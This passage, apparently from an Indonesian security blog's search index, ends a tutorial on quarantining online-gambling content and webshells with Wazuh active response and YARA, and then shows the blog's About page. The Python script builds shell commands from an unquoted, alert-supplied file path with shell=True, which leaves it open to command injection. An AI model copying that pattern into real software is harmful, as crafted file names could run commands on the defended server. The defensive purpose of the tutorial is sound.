FILENAME=$(echo $INPUT_JSON | jq -r .parameters.alert.syscheck.path) # Set LOG_FILE path LOG_FILE=\u0026#34;logs/active-responses.log\u0026#34; size=0 actual_size=$(stat -c %s ${FILENAME}) while [ ${size} -ne ${actual_size} ]; do sleep 1 size=${actual_size} actual_size=$(stat -c %s ${FILENAME}) done if [[ ! $YARA_PATH ]] || [[ ! $YARA_RULES ]] then echo \u0026#34;wazuh-yara: ERROR - Yara active response error. Yara path and rules parameters are mandatory.\u0026#34; \u0026gt;\u0026gt; ${LOG_FILE} exit 1 fi yara_output=\u0026#34;$(\u0026#34;${YARA_PATH}\u0026#34;/yara -w -r \u0026#34;$YARA_RULES\u0026#34; \u0026#34;$FILENAME\u0026#34;)\u0026#34; if [[ $yara_output != \u0026#34;\u0026#34; ]] then while read -r line; do echo \u0026#34;wazuh-yara: INFO - Scan result: $line\u0026#34; \u0026gt;\u0026gt; ${LOG_FILE} done \u0026lt;\u0026lt;\u0026lt; \u0026#34;$yara_output\u0026#34; fi exit 0; Script 2: yara.py Simpan file ini dengan nama yara.py:\nimport sys import json import os import datetime import subprocess from pathlib import PureWindowsPath, PurePosixPath if os.name == \u0026#34;nt\u0026#34;: LOG_FILE = ( \u0026#34;C:\\\\Program Files (x86)\\\\ossec-agent\\\\active-response\\\\active-responses.log\u0026#34; ) else: LOG_FILE = \u0026#34;/var/ossec/logs/active-responses.log\u0026#34; def write_debug_file(ar_name, msg): with open(LOG_FILE, mode=\u0026#34;a\u0026#34;) as log_file: ar_name_posix = str( PurePosixPath(PureWindowsPath(ar_name[ar_name.find(\u0026#34;active-response\u0026#34;) :])) ) log_file.write( str(datetime.datetime.now().strftime(\u0026#34;%Y/%m/%d %H:%M:%S\u0026#34;)) + \u0026#34; \u0026#34; + ar_name_posix + \u0026#34;: \u0026#34; + msg + \u0026#34;\\n\u0026#34; ) def write_log_yara(msg): with open(LOG_FILE, mode=\u0026#34;a\u0026#34;) as log_file: log_file.write(msg) def main(argv): write_debug_file(argv[0], \u0026#34;Starting Yara Engine\u0026#34;) input_str = \u0026#34;\u0026#34; for line in sys.stdin: input_str += line break write_debug_file(argv[0], input_str) try: data = json.loads(input_str) except json.JSONDecodeError as e: write_debug_file(argv[0], \u0026#34;disana\u0026#34;) print(f\u0026#34;Error parsing JSON: {e}\u0026#34;) sys.exit(1) filename = data[\u0026#34;parameters\u0026#34;][\u0026#34;alert\u0026#34;][\u0026#34;syscheck\u0026#34;][\u0026#34;path\u0026#34;] write_debug_file(argv[0], filename) write_debug_file(argv[0], \u0026#34;sini gaaa\u0026#34;) try: command = f\u0026#34;yara -C -w -r -f -m /home/\u0026lt;USERNAME\u0026gt;/compiled-rules.yar {filename}\u0026#34; yara_output = subprocess.run(command, shell=True, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) write_debug_file(argv[0], f\u0026#34;YARA scan completed: {yara_output.stdout}\u0026#34;) except subprocess.CalledProcessError as e: write_debug_file(argv[0], str(e)) except Exception as e: write_debug_file(argv[0], str(e)) if yara_output.stdout.strip(): for line in yara_output.stdout.splitlines(): write_log_yara(f\u0026#34;wazuh-yara: INFO - Scan result: {line}\u0026#34;) quarantine_path = \u0026#34;/tmp/quarantined\u0026#34; os.makedirs(quarantine_path, exist_ok=True) command = f\u0026#34;mv {filename} {quarantine_path}\u0026#34; subprocess.run(command, shell=True, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) write_debug_file(argv[0], f\u0026#34;{filename} moved to {quarantine_path}\u0026#34;) print(\u0026#34;Execution Success\\n\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: main(sys.argv) Penting: Kedua file di atas disimpan di /var/ossec/active-response/bin/\nCara kerjanya: Jika ada suatu file yang ditambahkan atau dirubah sesuai dengan rule Wazuh, maka file tersebut akan di-move ke folder /tmp/quarantined/.\n4. Clone YARA Rules Setelah kedua script terpasang, clone rules dari repo berikut ke /home/{USERNAME}/:\ngit clone https://github.com/YARAHQ/yara-forge.git Rules di atas bukan hanya mendeteksi konten gacor/judol, tapi juga mendeteksi berbagai ancaman kompleks lainnya. Rules dari YARA-Forge ini adalah kumpulan rule terstandarisasi yang di-maintain oleh komunitas security global.\nReferensi Wazuh Documentation YARA Documentation ","permalink":"https://edu.ravxytech.my.id/posts/amankan-server-dari-judol-dan-webshell/","summary":"\u003ch2 id=\"tldr\"\u003eTLDR\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eApa itu Wazuh?\u003c/strong\u003e\nWazuh adalah sebuah platform keamanan yang berfokus pada deteksi ancaman dan keamanan endpoint. Ini mencakup kemampuan monitoring, deteksi, dan respons terhadap ancaman keamanan pada lingkungan IT. Wazuh menyediakan fitur seperti deteksi serangan, analisis log, integritas file, dan monitoring keamanan berbasis aturan.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eApa itu YARA?\u003c/strong\u003e\nSebuah tool yang mengklasifikasikan apakah suatu binary, code, dll itu adalah malware atau bukan berdasarkan rules yang kita buat.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3 id=\"contoh-rule-yara\"\u003eContoh Rule YARA\u003c/h3\u003e\n\u003cp\u003eBerikut contoh rule YARA untuk mendeteksi konten judi online:\u003c/p\u003e","title":"Amankan Server dari Judol dan Webshell dengan Yara dan Wazuh"},{"content":"Tentang Blog Ini Ravxy1337 Tech adalah blog edukasi seputar dunia teknologi dengan fokus pada:\nCybersecurity — Tutorial dan tips keamanan siber Linux — Administrasi server dan sistem operasi Networking — Jaringan komputer dan infrastruktur Blue Team — Pertahanan dan monitoring keamanan Blog ini dibuat sebagai wadah berbagi ilmu dan pengalaman di dunia IT Security.\nKontak Silakan hubungi melalui platform berikut:\nGitHub: ravxy1337 LinkedIn: ravxy1337 ","permalink":"https://edu.ravxytech.my.id/about/","summary":"Tentang Ravxy1337 Tech","title":"Tentang"}]